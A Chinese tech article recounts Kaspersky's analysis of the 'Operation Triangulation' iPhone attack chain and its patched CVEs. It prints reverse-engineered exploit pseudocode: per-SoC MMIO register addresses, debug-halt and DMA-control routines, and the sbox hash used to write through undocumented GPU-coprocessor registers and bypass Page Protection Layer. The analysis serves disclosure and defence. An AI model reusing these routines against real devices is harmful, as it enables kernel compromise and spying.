最近，卡巴斯基的研究人員發(fā)現(xiàn)，有黑客在四年多的時(shí)間里給數(shù)千部iPhone留下了一個(gè)非常隱蔽的后門。

通過(guò)這個(gè)硬件級(jí)別的后門，能直接獲得iPhone最高級(jí)別的Root權(quán)限。而要成功利用這個(gè)后門，必須要對(duì)蘋(píng)果產(chǎn)品最底層的機(jī)制有非常全面細(xì)致的了解。

以至于發(fā)現(xiàn)這個(gè)漏洞的卡巴斯基研究人員稱「無(wú)法想象這個(gè)漏洞是如何被意外發(fā)現(xiàn)的。」在他看來(lái)，除了蘋(píng)果和ARM之外，幾乎不可能有人能獲知這個(gè)漏洞。

而間諜軟件可以通過(guò)這個(gè)復(fù)雜的漏洞，將麥克風(fēng)錄音、照片、地理位置和其他敏感數(shù)據(jù)傳輸?shù)焦粽呖刂频姆?wù)器。

盡管重新啟動(dòng)就能關(guān)閉這個(gè)漏洞，但攻擊者只需在設(shè)備重新啟動(dòng)后向設(shè)備發(fā)送新的惡意iMessage文本，就能重新開(kāi)啟這個(gè)漏洞。

期間完全不需要用戶進(jìn)行操作，而且也不會(huì)留下任何蛛絲馬跡，非常隱蔽。

對(duì)此，OpenAI科學(xué)家Andrej Karpathy表示：這無(wú)疑是我們迄今為止所見(jiàn)過(guò)的攻擊鏈中最為復(fù)雜的一個(gè)。

對(duì)此，Karpathy認(rèn)為，這已經(jīng)不是個(gè)人行為能夠觸及的范疇了，應(yīng)該是國(guó)家層面的行為了。

而一位聲稱自己還用Palm手機(jī)的網(wǎng)友回復(fù)道：「我堅(jiān)持用Palm手機(jī)的意義就在這里?！?/span>

甚至還有網(wǎng)友感嘆：「如果你成功地惹惱了具備這種技術(shù)能力和資源的人，可能你最不需要擔(dān)心的就是自己手機(jī)里的數(shù)據(jù)了。」

目前，蘋(píng)果公司已于2023年10月25日修復(fù)了這一核心安全漏洞。

「三角行動(dòng)」攻擊鏈

這個(gè)漏洞被發(fā)現(xiàn)的研究人員稱為「三角行動(dòng)」（Operation Triangulation）。

- 攻擊者通過(guò)iMessage發(fā)送一個(gè)惡意附件，應(yīng)用程序會(huì)在用戶毫無(wú)察覺(jué)的情況下開(kāi)啟這個(gè)漏洞。

- 該附件利用了一個(gè)遠(yuǎn)程代碼執(zhí)行的漏洞（CVE-2023-41990），該漏洞存在于一個(gè)只有蘋(píng)果公司知道的、未公開(kāi)的 ADJUST TrueType字體指令中。這個(gè)指令自九十年代初就存在，直到最近一個(gè)更新才被移除。

- 攻擊過(guò)程中，它采用了一種稱為「返回/跳轉(zhuǎn)導(dǎo)向編程」的高級(jí)編程技巧，并且使用了多個(gè)階段的代碼，這些代碼是用NSExpression/NSPredicate查詢語(yǔ)言編寫(xiě)的，它們修改JavaScriptCore庫(kù)的環(huán)境，以執(zhí)行一個(gè)用JavaScript編寫(xiě)的權(quán)限提升的漏洞攻擊程序。

- 這個(gè)JavaScript漏洞攻擊程序經(jīng)過(guò)特殊處理，使其變得幾乎無(wú)法讀懂，同時(shí)也盡可能地縮小了它的體積。然而，它仍然包含大約11000行代碼。這些代碼主要用于分析和操縱JavaScriptCore和內(nèi)核內(nèi)存。

- 它還利用了JavaScriptCore的一個(gè)調(diào)試功能DollarVM ($vm)，通過(guò)這個(gè)功能，攻擊者可以在腳本中操縱JavaScriptCore的內(nèi)存，并調(diào)用系統(tǒng)原生的API函數(shù)。

- 這個(gè)攻擊工具被設(shè)計(jì)成兼容新舊型號(hào)的iPhone，并且對(duì)于新型號(hào)的設(shè)備，它包含了一個(gè)用于繞過(guò)指針認(rèn)證碼（PAC）的技術(shù)，這使得攻擊能夠針對(duì)最新設(shè)備生效。

- 它通過(guò)利用XNU內(nèi)存映射系統(tǒng)調(diào)用（mach_make_memory_entry和vm_map）中的一個(gè)整數(shù)溢出漏洞（CVE-2023-32434），實(shí)現(xiàn)了以用戶級(jí)別對(duì)設(shè)備所有物理內(nèi)存的讀寫(xiě)控制。

- 該工具還運(yùn)用了硬件內(nèi)存映射I/O（MMIO）寄存器來(lái)規(guī)避頁(yè)面保護(hù)層（PPL），這一問(wèn)題在CVE-2023-38606中已經(jīng)被緩解。

- 利用了所有漏洞之后，JavaScript漏洞便能隨意操控設(shè)備，包括部署間諜軟件。不過(guò)，攻擊者選擇了：（a）啟動(dòng) IMAgent進(jìn)程，注入代碼以清除利用痕跡；（b）無(wú)痕模式下運(yùn)行Safari進(jìn)程，并引導(dǎo)至含有下一階段內(nèi)容的網(wǎng)頁(yè)。

- 該網(wǎng)頁(yè)內(nèi)嵌了一個(gè)腳本，能夠確認(rèn)受害者身份，一旦驗(yàn)證通過(guò)，便會(huì)加載下一階段的攻擊代碼：Safari漏洞。

- Safari漏洞通過(guò)CVE-2023-32435來(lái)執(zhí)行shellcode。

- 這個(gè)shellcode進(jìn)一步執(zhí)行另一個(gè)內(nèi)核級(jí)漏洞，同樣利用CVE-2023-32434和CVE-2023-38606。它在規(guī)模和功能上都非常龐大，但與JavaScript編寫(xiě)的內(nèi)核漏洞截然不同。它們共享的只是與上述漏洞利用相關(guān)的部分代碼。然而，其大部分代碼也專注于解析和操控內(nèi)核內(nèi)存。

- 這一漏洞最終獲得了root權(quán)限，并繼續(xù)執(zhí)行其他階段的操作，這樣就可以加載間諜軟件。

謎一樣的漏洞

討論的焦點(diǎn)是一個(gè)已經(jīng)得到修復(fù)的安全漏洞，編號(hào)為CVE-2023-38606。

新一代iPhone在硬件層面增加了額外的安全防護(hù)措施，專門用來(lái)保護(hù)內(nèi)核內(nèi)存中的敏感區(qū)域。

即使攻擊者能夠讀寫(xiě)內(nèi)核內(nèi)存，比如利用CVE-2023-32434漏洞實(shí)施的這次攻擊，這種防護(hù)也能阻止他們完全控制設(shè)備。

研究人員發(fā)現(xiàn)，攻擊者為了規(guī)避這種硬件防護(hù)，竟然利用了蘋(píng)果自家設(shè)計(jì)的SoC中的另一項(xiàng)硬件功能。

簡(jiǎn)單來(lái)說(shuō)，攻擊者的手法是這樣的：他們?cè)诶@過(guò)硬件防護(hù)的同時(shí)，將數(shù)據(jù)、目標(biāo)地址和數(shù)據(jù)的哈希值一并寫(xiě)入到芯片中未被固件使用的某些未知硬件寄存器，以此來(lái)對(duì)特定的物理地址進(jìn)行數(shù)據(jù)寫(xiě)入。

研究人員推測(cè)，這個(gè)不為人知的硬件功能很可能是為了蘋(píng)果工程師或工廠的調(diào)試或測(cè)試而設(shè)計(jì)的，或者是意外包含在內(nèi)的。由于固件并未使用這一功能，研究人員對(duì)于攻擊者是如何知曉并利用這一功能的方式一無(wú)所知。

技術(shù)細(xì)節(jié)

在系統(tǒng)級(jí)芯片（System on a Chip, SoC）中，各種外設(shè)可能會(huì)提供特殊的硬件寄存器，以供中央處理器（CPU）使用，從而控制這些外設(shè)。

為了實(shí)現(xiàn)這一點(diǎn)，這些硬件寄存器被映射到CPU可以訪問(wèn)的內(nèi)存中，這種方式被稱為「內(nèi)存映射輸入/輸出 (Memory-Mapped I/O, MMIO)」。

蘋(píng)果的產(chǎn)品，如iPhone、Mac以及其他設(shè)備中，外圍設(shè)備的MMIO地址范圍被存儲(chǔ)在一個(gè)特殊的文件格式中，名為「設(shè)備樹(shù)（DeviceTree）」。

這些設(shè)備樹(shù)文件可以從固件中提取，并且可以使用dt（DeviceTree）工具來(lái)查看它們的內(nèi)容。

設(shè)備樹(shù)中MMIO的存儲(chǔ)示例

例如，在這張截圖里，可以看到cpu0的acc-impl MMIO范圍的起始地址（0x210f00000）和大?。?x50000）。

深入研究「三角行動(dòng)」（Operation Triangulation）攻擊中使用的漏洞時(shí)，研究人員意外發(fā)現(xiàn)，攻擊者為了繞過(guò)硬件級(jí)別的內(nèi)核內(nèi)存保護(hù)所使用的大部分MMIO地址，并沒(méi)有在設(shè)備樹(shù)中定義。

這個(gè)漏洞專門針對(duì)蘋(píng)果從A12到A16的SoC，攻擊的是位于0x206040000，0x206140000和0x206150000的神秘MMIO寄存器塊。

這激發(fā)了研究人員的好奇心，進(jìn)行了一系列的嘗試。翻遍了各種設(shè)備的設(shè)備樹(shù)文件和固件文件，但都沒(méi)找到任何線索。

這讓研究人員困惑不已，這些被攻擊者利用的MMIO地址，為什么不在固件中使用呢？攻擊者是怎么發(fā)現(xiàn)這些地址的？這些MMIO地址到底屬于哪些外圍設(shè)備？

之后研究人員決定去查看一下這些未知MMIO塊附近是否有其他已知的MMIO地址。這次，他終于找到了一些有價(jià)值的信息。

在gfx-asc的設(shè)備樹(shù)條目的信息中，這是GPU的協(xié)處理器。

設(shè)備樹(shù)中g(shù)fx-asc條目的數(shù)據(jù)轉(zhuǎn)儲(chǔ)

它包含兩個(gè)MMIO（Memory-Mapped I/O）內(nèi)存映射范圍：0x206400000–0x20646C000和0x206050000–0x206050008。

gfx-asc MMIO范圍與漏洞所用地址的相關(guān)性

要更加準(zhǔn)確地描述，這個(gè)漏洞使用了以下一些未知的地址：0x206040000、0x206140008、0x206140108、0x206150020、0x206150040和0x206150048。

研究人員發(fā)現(xiàn)，這些地址大部分位于兩個(gè)gfx-asc內(nèi)存區(qū)域的中間，而剩余的一個(gè)地址則靠近第一個(gè)gfx-asc區(qū)域的起始位置。

這暗示了所有這些內(nèi)存映射輸入輸出（MMIO）寄存器很有可能是屬于圖形處理單元（GPU）的協(xié)處理器！

隨后，研究人員對(duì)這個(gè)漏洞進(jìn)行了更深入的分析，并且發(fā)現(xiàn)了一個(gè)進(jìn)一步的證據(jù)。

在初始化過(guò)程中，漏洞首先會(huì)寫(xiě)入一些位于每個(gè)SoC特定地址的內(nèi)存映射輸入輸出（MMIO）寄存器。

if (cpuid == 0x8765EDEA):   # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16)
    base = 0x23B700408
    command = 0x1F0023FF


elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)
    base = 0x23B7003C8
    command = 0x1F0023FF


elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)
    base = 0x23B7003D0
    command = 0x1F0023FF


elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)
    base = 0x23B080390
    command = 0x1F0003FF


elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)
    base = 0x23B080388
    command = 0x1F0003FF


if ((~read_dword(base) & 0xF) != 0):
    write_dword(base, command)
    while(True):
        if ((~read_dword(base) & 0xF) == 0):
            break

漏洞中GFX電源管理器控制代碼的偽代碼

在設(shè)備樹(shù)和Siguza開(kāi)發(fā)的工具pmgr的輔助下，研究人員發(fā)現(xiàn)所有這些地址都對(duì)應(yīng)于電源管理器中的GFX寄存器所在的MMIO（Memory-Mapped Input/Output）范圍。

最后，當(dāng)研究人員嘗試去訪問(wèn)這些未知區(qū)域的寄存器時(shí)，得到了第三個(gè)證實(shí)。

GPU的協(xié)處理器幾乎立刻報(bào)錯(cuò)，顯示信息：「GFX SERROR Exception class=0x2f (SError interrupt), IL=1, iss=0 – power(1)」。

這樣，研究人員就確認(rèn)了所有這些未知的MMIO寄存器，它們是被用來(lái)進(jìn)行漏洞利用的，確實(shí)屬于GPU的協(xié)處理器。

這促使研究人員更深入地研究這個(gè)固件，這些固件也是用ARM架構(gòu)編寫(xiě)且未加密的，但是他在固件中并沒(méi)有找到任何與這些寄存器相關(guān)的信息。

他決定更仔細(xì)地研究這個(gè)漏洞是如何操縱這些未知的MMIO寄存器的。在所有寄存器中，0x206040000特別引人注目，因?yàn)樗挥谝粋€(gè)與其他所有寄存器都不同的獨(dú)立MMIO塊中。

它僅在漏洞的初始化和結(jié)束階段被操作：在初始化過(guò)程中是第一個(gè)被設(shè)置的寄存器，在結(jié)束階段是最后一個(gè)。

根據(jù)研究人員的經(jīng)驗(yàn)，很明顯這個(gè)寄存器不是用來(lái)啟用/禁用漏洞所利用的硬件功能，就是用來(lái)中斷控制。

研究人員開(kāi)始追蹤中斷的線索，不久之后，他不僅識(shí)別出了這個(gè)未知的寄存器0x206040000，還發(fā)現(xiàn)了地址范圍0x206000000–0x206050000究竟映射了什么。下面展示的是研究人員能夠識(shí)別出的漏洞代碼的逆向工程結(jié)果。

def ml_dbgwrap_halt_cpu():


    value = read_qword(0x206040000)


    if ((value & 0x90000000) != 0):
        return


    write_qword(0x206040000, value | 0x80000000)


    while (True):
        if ((read_qword(0x206040000) & 0x10000000) != 0):
            break


def ml_dbgwrap_unhalt_cpu():


    value = read_qword(0x206040000)


    value = (value & 0xFFFFFFFF2FFFFFFF) | 0x40000000
    write_qword(0x206040000, value)


    while (True):
        if ((read_qword(0x206040000) & 0x10000000) == 0):
            break

利用程序使用0x206040000寄存器的偽代碼

成功將之前偽代碼中的ml_dbgwrap_halt_cpu函數(shù)與XNU源代碼的dbgwrap.c文件中同名函數(shù)匹配起來(lái)。該文件包含了用于操控主CPU的ARM CoreSight MMIO調(diào)試寄存器（ARM CoreSight MMIO debug registers）的代碼。

源代碼顯示，存在四個(gè)與CoreSight相關(guān)的MMIO區(qū)域，它們分別是ED、CTI、PMU和UTT。每個(gè)區(qū)域占據(jù)0x10000字節(jié)，且彼此緊鄰。

ml_dbgwrap_halt_cpu函數(shù)利用了UTT區(qū)域。與其他三個(gè)區(qū)域不同，UTT并非來(lái)自ARM，而是蘋(píng)果專門為了便利性添加的專有特性。

研究人員確認(rèn)了地址范圍0x206000000到0x206050000確實(shí)是GPU協(xié)處理器的CoreSight MMIO調(diào)試寄存器區(qū)塊，這是通過(guò)向?qū)?yīng)地址寫(xiě)入ARM_DBG_LOCK_ACCESS_KEY實(shí)現(xiàn)的。

主CPU的每個(gè)核心都有自己的CoreSight MMIO調(diào)試寄存器區(qū)塊，但不同于GPU協(xié)處理器，它們的地址可以在設(shè)備樹(shù)中找到。

另一個(gè)有趣的發(fā)現(xiàn)是，漏洞的作者（們）知道如何利用蘋(píng)果公司專有的UTT區(qū)域來(lái)重新啟動(dòng)CPU，而這部分代碼并不包含在XNU源代碼中?？梢院侠硗茰y(cè)，這一操作很可能是通過(guò)實(shí)驗(yàn)得出的。

然而，通過(guò)實(shí)驗(yàn)是無(wú)法發(fā)現(xiàn)攻擊者在第二個(gè)未知區(qū)域內(nèi)對(duì)寄存器的操作的。研究人員不確定那里有哪些MMIO調(diào)試寄存器區(qū)塊，如果這些寄存器并未被固件所用，攻擊者是如何發(fā)現(xiàn)其用途的也是個(gè)謎。

現(xiàn)在，再來(lái)關(guān)注漏洞利用的其他未知寄存器。

寄存器地址0x206140008和0x206140108負(fù)責(zé)控制啟用/禁用以及執(zhí)行漏洞所依賴的硬件功能。

def dma_ctrl_1():


    ctrl = 0x206140108


    value = read_qword(ctrl)
    write_qword(ctrl, value | 0x8000000000000001)
    sleep(1)


    while ((~read_qword(ctrl) & 0x8000000000000001) != 0):
        sleep(1)


def dma_ctrl_2(flag):


    ctrl = 0x206140008


    value = read_qword(ctrl)


    if (flag): 
        if ((value & 0x1000000000000000) == 0):
            value = value | 0x1000000000000000 
            write_qword(ctrl, value)
    else:
        if ((value & 0x1000000000000000) != 0):
            value = value & ~0x1000000000000000 
            write_qword(ctrl, value)


def dma_ctrl_3(value):


    ctrl = 0x206140108


    value = value | 0x8000000000000000


    write_qword(ctrl, read_qword(ctrl) & value)


    while ((read_qword(ctrl) & 0x8000000000000001) != 0):
        sleep(1)


def dma_init(original_value_0x206140108):


    dma_ctrl_1()
    dma_ctrl_2(False)
    dma_ctrl_3(original_value_0x206140108)


def dma_done(original_value_0x206140108):


    dma_ctrl_1()
    dma_ctrl_2(True)
    dma_ctrl_3(original_value_0x206140108)

利用程序使用 0x206140008 和 0x206140108 寄存器的偽代碼

寄存器0x206150020專門用于蘋(píng)果的A15/A16 Bionic SoC。在漏洞利用的啟動(dòng)階段，此寄存器會(huì)被設(shè)置為1；而在漏洞利用完成后，會(huì)恢復(fù)為初始的數(shù)值。

寄存器0x206150040被用來(lái)保存一些狀態(tài)標(biāo)識(shí)和目標(biāo)物理地址的低位部分。

最后的寄存器，0x206150048，則負(fù)責(zé)存儲(chǔ)待寫(xiě)入的數(shù)據(jù)以及目標(biāo)物理地址的高位部分。這些數(shù)據(jù)會(huì)與數(shù)據(jù)的校驗(yàn)哈希值以及另外的數(shù)值（可能是指令）一起打包。該硬件功能會(huì)將數(shù)據(jù)分塊，每塊大小為64（0x40）字節(jié)進(jìn)行對(duì)齊寫(xiě)入，并且需要連續(xù)九次寫(xiě)操作將全部數(shù)據(jù)寫(xiě)入至0x206150048寄存器。

if (cpuid == 0x8765EDEA):   # CPUFAMILY_ARM_EVEREST_SAWTOOTH (A16)
    i = 8
    mask = 0x7FFFFFF


elif (cpuid == 0xDA33D83D): # CPUFAMILY_ARM_AVALANCHE_BLIZZARD (A15)
    i = 8
    mask = 0x3FFFFF


elif (cpuid == 0x1B588BB3): # CPUFAMILY_ARM_FIRESTORM_ICESTORM (A14)
    i = 0x28
    mask = 0x3FFFFF


elif (cpuid == 0x462504D2): # CPUFAMILY_ARM_LIGHTNING_THUNDER (A13)
    i = 0x28
    mask = 0x3FFFFF


elif (cpuid == 0x07D34B9F): # CPUFAMILY_ARM_VORTEX_TEMPEST (A12)
    i = 0x28
    mask = 0x3FFFFF


dma_init(original_value_0x206140108)


hash1 = calculate_hash(data)
hash2 = calculate_hash(data+0x20)


write_qword(0x206150040, 0x2000000 | (phys_addr & 0x3FC0))


pos = 0
while (pos < 0x40):
    write_qword(0x206150048, read_qword(data + pos))
    pos += 8


phys_addr_upper = ((((phys_addr >> 14) & mask) << 18) & 0x3FFFFFFFFFFFF)
value = phys_addr_upper | (hash1 << i) | (hash2 << 50) | 0x1F
write_qword(0x206150048, value)


dma_done(original_value_0x206140108)

利用漏洞使用0x206150040和0x206150048寄存器的偽代碼

只要操作無(wú)誤，硬件就會(huì)執(zhí)行直接內(nèi)存訪問(wèn)（DMA）操作，把數(shù)據(jù)寫(xiě)入指定的內(nèi)存地址。

利用這項(xiàng)硬件特性，攻擊者可以繞過(guò)頁(yè)面保護(hù)層（Page Protection Layer, PPL），主要用途是修改頁(yè)表?xiàng)l目。此外，它還能修改受保護(hù)的__PPLDATA段內(nèi)的數(shù)據(jù)。盡管這個(gè)漏洞并未用于修改內(nèi)核代碼，但在研究人員進(jìn)行的一次測(cè)試中，曾成功修改了內(nèi)核的__TEXT_EXEC段內(nèi)的一條指令，并引發(fā)了一個(gè)顯示預(yù)期地址和值的「未定義內(nèi)核指令」錯(cuò)誤。

這種情況只出現(xiàn)過(guò)一次，其他嘗試都導(dǎo)致了AMCC錯(cuò)誤的發(fā)生。關(guān)于那次成功的嘗試，研究人員有一些思路，未來(lái)研究人員計(jì)劃深入研究，因?yàn)樗J(rèn)為，將一個(gè)本用于攻擊的漏洞轉(zhuǎn)化為正面用途，比如在新款iPhone上啟用內(nèi)核調(diào)試功能，將會(huì)非常有意義。

討論了所有與MMIO（Memory-Mapped I/O）寄存器相關(guān)的工作之后，現(xiàn)在來(lái)關(guān)注最后一個(gè)話題：哈希值的計(jì)算方法。具體的算法如下所示。

sbox = [
    0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016,
    0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043, 
    0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045,
    0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117,
    0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D,
    0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7, 
    0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105,
    0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C,
    0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3,
    0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D, 
    0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206,
    0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B,
    0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058,
    0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC, 
    0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313,
    0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1,
    0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315,
    0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3, 
    0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141,
    0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8,
    0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070,
    0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241, 
    0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144,
    0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281,
    0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0,
    0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4, 
    0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394,
    0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302,
    0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250,
    0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4, 
    0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260,
    0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380
]


def calculate_hash(buffer):


    acc = 0
    for i in range(8):
        pos = i * 4
        value = read_dword(buffer + pos)
        for j in range(32):
            if (((value >> j) & 1) != 0):
                acc ^= sbox[32 * i + j]


    return acc

該未知硬件功能使用的哈希函數(shù)偽代碼

如你所見(jiàn)，這是一種定制的算法，其哈希值的計(jì)算依賴于一個(gè)預(yù)先定義好的sbox表（sbox table）。他嘗試在龐大的二進(jìn)制文件庫(kù)中搜尋它，但一無(wú)所獲。

你可能已經(jīng)注意到，這個(gè)哈希并不特別安全，因?yàn)樗挥?0位（兩次各計(jì)算10位），但只要沒(méi)人知道如何計(jì)算和應(yīng)用它，它就足夠用了。這種做法最恰當(dāng)?shù)拿枋鼍褪恰鸽[晦式安全（security by obscurity）」。

如果攻擊者沒(méi)有使用這個(gè)硬件特性，并且固件中沒(méi)有任何關(guān)于如何使用它的指引，他們?nèi)绾慰赡馨l(fā)現(xiàn)并利用它呢？

研究人員又做了一個(gè)測(cè)試。他發(fā)現(xiàn)Mac內(nèi)置的M1芯片也具備這一未知的硬件特性。接著，他利用了功能強(qiáng)大的m1n1工具進(jìn)行了一次實(shí)驗(yàn)。

該工具具備一個(gè)trace_range功能，可以追蹤對(duì)指定MMIO寄存器范圍的所有訪問(wèn)，用它來(lái)監(jiān)測(cè)0x206110000到0x206400000內(nèi)存范圍的活動(dòng)，但結(jié)果顯示macOS并未使用這些寄存器。

這次涉及到的GPU協(xié)處理器是最近才在蘋(píng)果的SoC中首次出現(xiàn)的。研究人員懷疑這個(gè)硬件功能在之前的零售固件中有過(guò)任何用途。

盡管如此，也不能排除它可能曾在某個(gè)特定固件更新或XNU源代碼的發(fā)布中不小心泄露過(guò)，之后又被刪除的可能性。

研究人員原本希望通過(guò)iOS 16.6中對(duì)這個(gè)漏洞的修復(fù)，來(lái)探究第二個(gè)未知區(qū)域里隱藏了什么。最后確實(shí)找到了蘋(píng)果是如何解決這個(gè)問(wèn)題的，但他們故意將修復(fù)措施弄得難以理解。

蘋(píng)果通過(guò)在設(shè)備樹(shù)的pmap-io-ranges中加入了MMIO范圍0x206000000–0x206050000和0x206110000–0x206400000來(lái)防止這個(gè)漏洞被利用。

XNU根據(jù)這里的信息來(lái)判斷是否允許某些物理地址的映射。所有記錄在案的條目都貼上了一個(gè)標(biāo)簽名，這些標(biāo)簽清楚地說(shuō)明了這些內(nèi)存范圍的用途。

存儲(chǔ)在pmap-io-ranges中的條目示例

在這里，PCIe指的是 「高速外圍設(shè)備互連（Peripheral Component Interconnect Express）」，DART是「設(shè)備地址解析表（Device Address Resolution Table）」，DAPF代表「設(shè)備地址過(guò)濾器（Device Address Filter）」，諸如此類。

下面列出的是被漏洞利用的內(nèi)存區(qū)域的標(biāo)簽名稱。這些標(biāo)簽在列表中顯得格外醒目。

利用漏洞的區(qū)域條目

「隱晦式安全」并不安全

可以看到，這個(gè)漏洞非比尋常，我們既不清楚攻擊者如何學(xué)會(huì)利用這個(gè)未知的硬件特性，也不知道它最初是用來(lái)做什么的。

甚至都不確定它是由蘋(píng)果開(kāi)發(fā)出來(lái)的，還是類似ARM CoreSight這樣的第三方組件造成的。

但漏洞說(shuō)明了一個(gè)事實(shí)：只要存在能夠繞過(guò)安全防護(hù)的硬件特征，那么無(wú)論多么先進(jìn)的硬件安全措施，在精明的攻擊者面前都會(huì)變得毫無(wú)用處。

硬件安全常常依賴于「隱晦式安全」（security through obscurity），相較于軟件來(lái)說(shuō)，硬件更難逆向工程分析。

但這種方法本身是存在缺陷的，因?yàn)樗械拿孛芙K將有被揭露的一天。那些依賴于「隱晦式安全」來(lái)維護(hù)的系統(tǒng)，永遠(yuǎn)無(wú)法做到真正的安全。